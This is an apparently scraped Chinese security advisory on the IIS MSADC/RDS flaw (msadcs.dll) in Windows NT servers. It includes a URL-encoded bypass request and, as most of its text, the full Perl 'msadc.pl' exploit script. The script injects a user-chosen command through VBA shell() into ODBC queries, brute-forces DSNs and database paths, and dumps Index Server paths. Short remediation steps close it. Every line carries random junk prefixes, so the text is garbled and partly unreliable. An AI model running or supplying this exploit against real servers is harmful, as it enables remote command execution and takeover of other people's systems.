IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)
?d>P+). P/C+L[X= 涉及程序：
&*>C PO Microsoft NT server
!yV,|)y5F *x*,I ,0 3 描述：
V#-qKV 1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限
O $<%z[ !ho5V A t 详细：
3gPD(r1g 如果你没有时间读详细内容的话，就删除:
oqd
N5+xt c:\Program Files\Common Files\System\Msadc\msadcs.dll
%X0NHta ~@ 有关的安全问题就没有了。
]@ Sc} <.A C=4@V 微软对关于Msadc的问题发了三次以上的补丁，仍然存在问题。
T je o*n ^ [U 3D`V$xD 1、第一次补丁，基本上，其安全问题是MS Jet 3.5造成的，它允许调用VBA shell()函数，这将允许入侵者远程运行shell指令。
Q~b M 关于利用ODBC远程漏洞的描述，请参看:
tz0Ttu=xH O%fp;Y{` http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm TsFdy{/o* ?5r2j3mqgv 2、IIS 4.0的缺省安装设置的是MDAC1.5，这个安装下有一个/msadc/msadcs.dll的文件，也允许通过web远程访问ODBC，获取系统的控制权，这点在很多黑客论坛都讨论过，请参看
guU r1Ij http://www.microsoft.com/security/bulletins/MS99-025faq.asp ~J. Fl[ "z#?OV5 这里不再论述。
}{ kTh%^ |U#w?eE= 3、如果web目录下的/msadc/msadcs.dll/可以访问，那么ms的任何补丁可能都没用，用类似:
fa+ W9 bWQORjnd8 /%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset
$ )TF,-#x 的请求，就可以绕过安全机制进行非法的VbBusObj请求，从而达到入侵的目的。 下面的代码仅供测试，严禁用于非法用途，否则后果自负!!!
Kt4\&l-De yhkQFB%gv V M\Z<}C #将下面这段保存为txt文件，然后: "perl -x 文件名"
[K)1!KK,L c~L6fvS #!perl
-t~B@% #
4_m
/_Z0x # MSADC/RDS 'usage' (aka exploit) script
LA=>g/+i.X #
|B{$URu # by rain.forest.puppy
,~j$rs`Z #
Nh\8+v*+{ # Many thanks to Weld, Mudge, and Dildog from l0pht for helping me
#Z=)= # beta test and find errors!
:oj)
eS [Y wx"6",M use Socket; use Getopt::Std;
PRk%C0` getopts("e:vd:h:XR", \%args);
Ni@e/|
2b AINFua4 A print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n";
MMA@J im?XXsH' if (!defined $args{h} && !defined $args{R}) {
0rm;)[SjF print qq~
|phWK^ Usage: msadc.pl -h <host> { -d <delay> -X -v }
kN9sug^ -h <host> = host you want to scan (ip or domain)
s-N?Tzi -d <seconds> = delay between calls, default 1 second
^n45N&916 -X = dump Index Server path table, if available
*r?51*J -v = verbose
pTX'5 -e = external dictionary file for step 5
Ae_ E;[mj /L|}Y242 Or a -R will resume a command session
e>zk 3\D! z Hs ~; exit;}
~Ro:mH: w 4^NHf|UJH $ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target="";
TnU$L3k if (defined $args{v}) { $verbose=1; } else {$verbose=0;}
{kRC!} if (defined $args{d}) { $delay=$args{d};} else {$delay=1;}
W7[ S7kd if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/);
y0&HXX#\
$target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");}
&N7:k+E if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; }
^ R'!\m|FR F.
oP!r if (!defined $args{R}){ $ret = &has_msadc;
0^lL,rC
die("Looks like msadcs.dll doesn't exist\n")if $ret==0}
S,tVOxs^ E)_!Hi0<s print "Please type the NT commandline you want to run (cmd /c assumed):\n"
4b(irDT3F . "cmd /c ";
H6JMN1#t$ $in=<STDIN>; chomp $in;
UlN|Oy, $command="cmd /c " . $in ;
v|RaB =i5:*J if (defined $args{R}) {&load; exit;}
75}u
D g~H? l3v print "\nStep 1: Trying raw driver to btcustmr.mdb\n";
GK+\-U)v &try_btcustmr;
QRHm |f9_C 8'xnhV print "\nStep 2: Trying to make our own DSN...";
PZhZK
VZx &make_dsn ? print "<<success>>\n" : print "<<fail>>\n";
UO!6&k>c q
vVZA* print "\nStep 3: Trying known DSNs...";
U1|4vd9 &known_dsn;
K ':pU1 x1 5tQb+ print "\nStep 4: Trying known .mdbs...";
_r5Ild @n &known_mdb;
RH4n0 =2 c_q y)N if (defined $args{e}){
!cq| g print "\nStep 5: Trying dictionary of DSN names...";
#Ii.tTk &dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; }
V dOd:w m.a1 print "Sorry Charley...maybe next time?\n";
EF=D}"E6pO exit;
~S>ba'] /aa;M*Qp ##############################################################################
5XUI7Q % >T^v4A sub sendraw { # ripped and modded from whisker
& 8i{'k,l sleep($delay); # it's a DoS on the server! At least on mine...
&&S4x my ($pstr)=@_;
4KSN;G socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
d>98 E9
die("Socket problems\n");
.u;TeP if(connect(S,pack "SnA4x8",2,80,$target)){
9S1V! Jp select(S); $|=1;
5nq-b@?L print $pstr; my @in=<S>;
knzED~ v@( select(STDOUT); close(S);
{-`OE return @in;
o5 XU DDi } else { die("Can't connect...\n"); }}
FEmlC,% p%
%Y^=z ##############################################################################
3i}B\
{ [:S F(*} sub make_header { # make the HTTP request
G ]By_ my $msadc=<<EOT
F X2`p_ POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1
r3vj o( User-Agent: ACTIVEDATA
I_* >EA Host: $ip
,VsCRp Content-Length: $clen
=e/ 4Gs0* Connection: Keep-Alive
6lAo`S\)eX
bK1`a{ ADCClientVersion:01.06
N,Bs% p#1 Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3
aKtTx~$@ G.e\#_RR? --!ADM!ROX!YOUR!WORLD!
<ijmkNVS Content-Type: application/x-varg
?R:Hj=. Content-Length: $reqlen
;<<IXXKU Jz0S2& EOT
I>Yp =R ; $msadc=~s/\n/\r\n/g;
i~L7h=__ return $msadc;}
K!gFD Y,\mrW}K ##############################################################################
:/l
W)hby`k sub make_req { # make the RDS request
E_rC"_Zte my ($switch, $p1, $p2)=@_;
Tou~U[V+ my $req=""; my $t1, $t2, $query, $dsn;
;rL$z;}8 Oh4WYDyT
if ($switch==1){ # this is the btcustmr.mdb query
O_Q,!&*6 $query="Select * from Customers where City=" . make_shell();
i UB ni&B $dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" .
W^Y(FUy~ $p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";}
E/;YhFb[ >@uYleD( elsif ($switch==2){ # this is general make table query
y<(.,Nb8 $query="create table AZZ (B int, C varchar(10))";
H4Ek, m|c $dsn="$p1";}
1*jm 9])# cA2]VL.r>C elsif ($switch==3){ # this is general exploit table query
{HnOUc\4 $query="select * from AZZ where C=" . make_shell();
eqCB2u"Jq $dsn="$p1";}
a $:N9&P +JG"eh&J"H elsif ($switch==4){ # attempt to hork file info from index server
M6!brj\[| $query="select path from scope()";
,-kZ5&r $dsn="Provider=MSIDXS;";}
;A!i V | RUu' 9#fq elsif ($switch==5){ # bad query
B= `! $query="select";
{p iS3xBi $dsn="$p1";}
|-D. 9~I WGj? $t1= make_unicode($query);
5GkM7Zu!{j $t2= make_unicode($dsn);
p<34 }iZ $req = "\x02\x00\x03\x00";
JH#+E04# $req.= "\x08\x00" . pack ("S1", length($t1));
DYK|"@ $req.= "\x00\x00" . $t1 ;
cgOoQP/# $req.= "\x08\x00" . pack ("S1", length($t2));
ZrS!R[ $req.= "\x00\x00" . $t2 ;
oZt z"B $req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n";
E@KK\m
\e return $req;}
BW 7[J D "(qO}&b> ##############################################################################
H(s^le:! % BKTN@;7 sub make_shell { # this makes the shell() statement
"o^zOU return "'|shell(\"$command\")|'";}
$49tV?q5 \O~7X0 <W ##############################################################################
LBB [aF,Lr |t_2 AV sub make_unicode { # quick little function to convert to unicode
?M2@[w8_ my ($in)=@_; my $out;
9nE%r\H for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; }
]\lw^.% return $out;}
FC#Q tu~J A )cb ##############################################################################
x;Q2/YZ# <0m;|Ai'W sub rdo_success { # checks for RDO return success (this is kludge)
< T]kpP<lC my (@in) = @_; my $base=content_start(@in);
4r*6fJ*bJ if($in[$base]=~/multipart\/mixed/){
/xzL!~g`6< return 1 if( $in[$base+10]=~/^\x09\x00/ );}
JV>OmUAk return 0;}
qDW/8b\ ^ M > < ##############################################################################
jg(A_V I1,?qr"Zr sub make_dsn { # this makes a DSN for us
K]l) z* I my @drives=("c","d","e","f");
u[DV{ o print "\nMaking DSN: ";
W +E2({ foreach $drive (@drives) {
A5b}G print "$drive: ";
n j[6c my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" .
mN` a]L' "Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq="
"x11 YM{F . $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n");
:?J$ +bm} $results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#;
:>k\ uW return 0 if $2 eq "404"; # not found/doesn't exist
DH %X+r if($2 eq "200") {
iu 'yB foreach $line (@results) {
]{ hfM return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}}
6FE[snw } return 0;}
]+8,@ %=" G r)+O ##############################################################################
[g? NU] y T4|eHl sub verify_exists {
JpDkf$kM my ($page)=@_;
=6$( m}(74 my @results=sendraw("GET $page HTTP/1.0\n\n");
5eYCnc9 return $results[0];}
62"ND+D4 So:89T ##############################################################################
~V Kw%WK 19S,> sub try_btcustmr {
@;0Ep 0[ my @drives=("c","d","e","f");
LM} si|
my @dirs=("winnt","winnt35","winnt351","win","windows");
cmTZ ))m "7g: u- foreach $dir (@dirs) {
7"NUof?i print "$dir -> "; # fun status so you can see progress
G>Q{[m$ foreach $drive (@drives) {
,RZktWW_ print "$drive: "; # ditto
:X^B1z3X4 $reqlen=length( make_req(1,$drive,$dir) ) - 28;
sYz:(hZS $reqlenlen=length( "$reqlen" );
S%4 K-I $clen= 206 + $reqlenlen + $reqlen;
i[<O @Rb .f } I$ "2 my @results=sendraw(make_header() . make_req(1,$drive,$dir));
SG~R!kN}Q if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;}
<1y% ch; else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}}
;23F8M%wH mUjA9[@ ##############################################################################
l6&R
g- L{42 ?d sub odbc_error {
8wBns)wy @ my (@in)=@_; my $base;
ukw'$Yt2 my $base = content_start(@in);
%63<Iz " if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this
b7$?'neH/. $in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
[L 8gG.wy $in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
u^ T2 $in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
]?kf;A@ return $in[$base+4].$in[$base+5].$in[$base+6];}
*}?^)z7w print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n";
/ZczfM\ print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] .
qRU8uu $in[$base+4] . $in[$base+5] . $in[$base+6]; exit;}
fROhn}<**[ MG ~^> ##############################################################################
S4 Rv 6{r: $oNkE sub verbose {
`: 8&m my ($in)=@_;
}, ]W/ return if !$verbose;
3}H94H)]a print STDOUT "\n$in\n";}
mJT7e p5*i
d5 ##############################################################################
4[6A~iC_ Cc=`:ED+ sub save {
f[.]JC+, my ($p1, $p2, $p3, $p4)=@_;
fD!O
a K open(OUT, ">rds.save") || print "Problem saving parameters...\n";
W4Eo1 E print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n";
bN qjjg close OUT;}
@A)gsDt9A kJ~^
}o ##############################################################################
!D1F4v[c= {&/q\UQ sub load {
~ oOOCB my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq=";
d=xweU< open(IN,"<rds.save") || die("Couldn't open rds.save\n");
QutQG @p=<IN>; close(IN);
zRB1V99k $ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/);
u tQ_!3u $target= inet_aton($ip) || die("inet_aton problems");
md<%Z4+ print "Resuming to $ip ...";
r| &qXb x $p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g;
9m<>G3Jr if($p[1]==1) {
I H{g-#U $reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28;
eX}u ZR $reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen;
Jei W
z1t my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]"));
o\2#o5# if (rdo_success(@results)){print "Success!\n";}
]92@&J0w else { print "failed\n"; verbose(odbc_error(@results));}}
yaeX-'(Fv[ elsif ($p[1]==3){
}4 +S_b if(run_query("$p[3]")){
bGD V9su print "Success!\n";} else { print "failed\n"; }}
Nn%{K a elsif ($p[1]==4){
[
h%ci3 if(run_query($drvst . "$p[3]")){
K^9!Qp print "Success!\n"; } else { print "failed\n"; }}
YT#" HYO exit;}
Q~uj:A]n<
st pa2z ##############################################################################
9!PJLI=D 3pm;?6i6 sub create_table {
sHKT]^7 my ($in)=@_;
AWGeK-^ $reqlen=length( make_req(2,$in,"") ) - 28;
-p9|l%W $reqlenlen=length( "$reqlen" );
J5IQ $clen= 206 + $reqlenlen + $reqlen;
~GMlnA]6 my @results=sendraw(make_header() . make_req(2,$in,""));
DN!:Rm uc return 1 if rdo_success(@results);
eFbr1IV my $temp= odbc_error(@results); verbose($temp);
'% kk&&3' return 1 if $temp=~/Table 'AZZ' already exists/;
~^ G k7 return 0;}
entO"~*EX _aq3G9C_ ##############################################################################
]*Zg(YA N3i}>Q)B sub known_dsn {
u|APx8?"o # we want 'wicca' first, because if step 2 made the DSN, it's ready to go
p)d'y j my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications",
H7*/ "cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM",
e<>(c7bF "banner", "banners", "ads", "ADCDemo", "ADCTest");
HBeOK Bxak[>/ foreach $dSn (@dsns) {
p-r}zc9@ print ".";
-bduB@#2d next if (!is_access("DSN=$dSn"));
z1_\P) M if(create_table("DSN=$dSn")){
h9RG?r1 print "$dSn successful\n";
79=w]y if(run_query("DSN=$dSn")){
4 w\cS&X~C print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
r@^h, print "Something's borked. Use verbose next time\n";}}} print "\n";}
\A
Y7 %> K6{{\r ##############################################################################
2t*@P"e! Fz~-m# Ts sub is_access {
H5{d;L1[ my ($in)=@_;
D`2Iy.|! $reqlen=length( make_req(5,$in,"") ) - 28;
+m]$P,yMt $reqlenlen=length( "$reqlen" );
l+Uy $clen= 206 + $reqlenlen + $reqlen;
a>G|t5w my @results=sendraw(make_header() . make_req(5,$in,""));
C1Slx !} my $temp= odbc_error(@results);
V)oUSHillH verbose($temp); return 1 if ($temp=~/Microsoft Access/);
/T!S)FD\/v return 0;}
'/J}T -,Z gyondcF ##############################################################################
Yu>VW\Fb JF IUD{>fp sub run_query {
F$N"&<[ c my ($in)=@_;
S9U,so? $reqlen=length( make_req(3,$in,"") ) - 28;
)#N)w5DU $reqlenlen=length( "$reqlen" );
c~K^ooS - $clen= 206 + $reqlenlen + $reqlen;
4#{i my @results=sendraw(make_header() . make_req(3,$in,""));
l} A8 return 1 if rdo_success(@results);
G>qzA gA my $temp= odbc_error(@results); verbose($temp);
9s8B>(L return 0;}
$*tq$DZ4& =X'i^Q ##############################################################################
<O>1Y09C/ Fc% @ sub known_mdb {
]L@V pHEj my @drives=("c","d","e","f","g");
6hv4D`d ;o my @dirs=("winnt","winnt35","winnt351","win","windows");
VImcW;Xa my $dir, $drive, $mdb;
. T6fPEb my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq=";
-{dsl|Dl wu "6Kyu # this is sparse, because I don't know of many
T0 J"Wr>WY my @sysmdbs=( "\\catroot\\icatalog.mdb",
</ 3 Shq "\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb",
t."hAvRL "\\system32\\certmdb.mdb",
k>I [U}h "\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot%
6r4o47_t8# /B73|KB+ my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb",
S\RjP*H* "\\cfusion\\cfapps\\forums\\forums_.mdb",
+YVnA?r? "\\cfusion\\cfapps\\forums\\data\\forums.mdb",
[XK Ke "\\cfusion\\cfapps\\security\\realm_.mdb",
'yu M=Pb "\\cfusion\\cfapps\\security\\data\\realm.mdb",
^tc2?T "\\cfusion\\database\\cfexamples.mdb",
sS/#)/B "\\cfusion\\database\\cfsnippets.mdb",
P$?3\`U; "\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb",
{1,]8!HBJ "\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb",
d~1Nct$: "\\cfusion\\brighttiger\\database\\cleam.mdb",
u4*7 n-( "\\cfusion\\database\\smpolicy.mdb",
!_P; 4 E "\\cfusion\\database\cypress.mdb",
u;rK.3o "\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb",
qfE>N?/ "\\website\\cgi-win\\dbsample.mdb",
WX$mAQDV "\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb",
5|&8MGW-$ "\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb"
STmn%& ); #these are just
(jv!q@@2C. foreach $drive (@drives) {
H)tnxD0) foreach $dir (@dirs){
ICwhqH& foreach $mdb (@sysmdbs) {
Q|/uL`_ni print ".";
W!|A3V35\: if(create_table($drv . $drive . ":\\" . $dir . $mdb)){
jkw:h0hX print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n";
u g*#rpb if(run_query($drv . $drive . ":\\" . $dir . $mdb)){
*IL x-D5qr print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit;
Rd7[e^HSN } else { print "Something's borked. Use verbose next time\n"; }}}}}
7DaMuh~< ^c",!Lp}{ foreach $drive (@drives) {
cz<8Kb/XV foreach $mdb (@mdbs) {
mGR}hsQpn print ".";
RSEo'2 if(create_table($drv . $drive . $dir . $mdb)){
wG6@. ;3 print "\n" . $drive . $dir . $mdb . " successful\n";
]4f;%pE if(run_query($drv . $drive . $dir . $mdb)){
rrBu6\D print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit;
rF C 6"_ } else { print "Something's borked. Use verbose next time\n"; }}}}
^~~&[wY }
.XD7};g *{/
ww9fT ##############################################################################
v,z s
dr"d cm^:3(yYX sub hork_idx {
b=[ gK|fu print "\nAttempting to dump Index Server tables...\n";
r~ gjn`W print " NOTE: Sometimes this takes a while, other times it stalls\n\n";
tj:3R$a $reqlen=length( make_req(4,"","") ) - 28;
+7 6{S_CZ $reqlenlen=length( "$reqlen" );
nd)Z0%xo $clen= 206 + $reqlenlen + $reqlen;
g3[Zh=+]E my @results=sendraw2(make_header() . make_req(4,"",""));
E + wd9/; if (rdo_success(@results)){
]iu}5]?) my $max=@results; my $c; my %d;
"JI FF_ for($c=19; $c<$max; $c++){
WmU5YZ(mAq $results[$c]=~s/\x00//g;
vd>K=!
J $results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g;
#sl_
B C9 $results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g;
-"J6 |Y#8 $results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/;
_hP siZY9 $d{"$1$2"}="";}
1~BDtHW7`n foreach $c (keys %d){ print "$c\n"; }
C9l5zb~D } else {print "Index server doesn't seem to be installed.\n"; }}
m\a_0! K !:
e(- ##############################################################################
x1:#rb ' c2M-/ x- : sub dsn_dict {
[e1k fw open(IN, "<$args{e}") || die("Can't open external dictionary\n");
b=:$~N@ Y while(<IN>){
l5sBDiir% $hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print ".";
'[u=q
-Lv next if (!is_access("DSN=$dSn"));
v(ABZNIn if(create_table("DSN=$dSn")){
$Pa7B]A,Ae print "$dSn successful\n";
T3po.Km\{ if(run_query("DSN=$dSn")){
_@es9 print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
^X2U
A{ print "Something's borked. Use verbose next time\n";}}}
z;Pr ] *F print "\n"; close(IN);}
gH87 e CPR v" T;? ##############################################################################
+uR|0Jo8X v IBVp sub sendraw2 { # ripped and modded from whisker
ml7nt 0{ sleep($delay); # it's a DoS on the server! At least on mine...
@V$,H/v: my ($pstr)=@_;
D>& ;K {! socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
iUuG}rqj die("Socket problems\n");
|12Cg>;j*n if(connect(S,pack "SnA4x8",2,80,$target)){
0,)A o8 print "Connected. Getting data";
m5K B #\ open(OUT,">raw.out"); my @in;
m9*Lo[EXO select(S); $|=1; print $pstr;
z 4l
O while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";}
s3m] rC close(OUT); select(STDOUT); close(S); return @in;
"BB#[@ } else { die("Can't connect...\n"); }}
|& IS ZFSv nquK eH ##############################################################################
)tQG5.to 1](5wK-Z sub content_start { # this will take in the server headers
JyPsRpi\ my (@in)=@_; my $c;
COS (pfC for ($c=1;$c<500;$c++) {
wv,,# P if($in[$c] =~/^\x0d\x0a/){
/>fP )56* if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; }
YxMOr\B else { return $c+1; }}}
& y1' J return -1;} # it should never get here actually
%N)o*H& i<D}"h| ##############################################################################
k*bfq?E a '" }|'J sub funky {
t +0&B" my (@in)=@_; my $error=odbc_error(@in);
Vv(!Ki} if($error=~/ADO could not find the specified provider/){
5qco 4@8 print "\nServer returned an ADO miscofiguration message\nAborting.\n";
9IL#\:d1 exit;}
W>b(hVB E if($error=~/A Handler is required/){
2G"mm ( print "\nServer has custom handler filters (they most likely are patched)\n";
x&3!z[m@@ exit;}
1E Lzzn if($error=~/specified Handler has denied Access/){
02X ~' To" print "\nServer has custom handler filters (they most likely are patched)\n";
b5YjhRimS exit;}}
L1u
cOUsbxYTD ##############################################################################
kr 7f<;rmJ <!:,(V>F(C sub has_msadc {
*BVkviqxz my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n");
Ah)OyO 6 my $base=content_start(@results);
&Pt| return 1 if($results[$base]=~/Content-Type: application\/x-varg/);
HzB&+c? Z return 0;}
/vPh_1 '#<?QE!d2 ########################
LBtVK, ? 87EI<\mP !lE
(!d3M 解决方案：
\s;]Tg 1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll
%"
$.2O@ 2、移除web 目录: /msadc
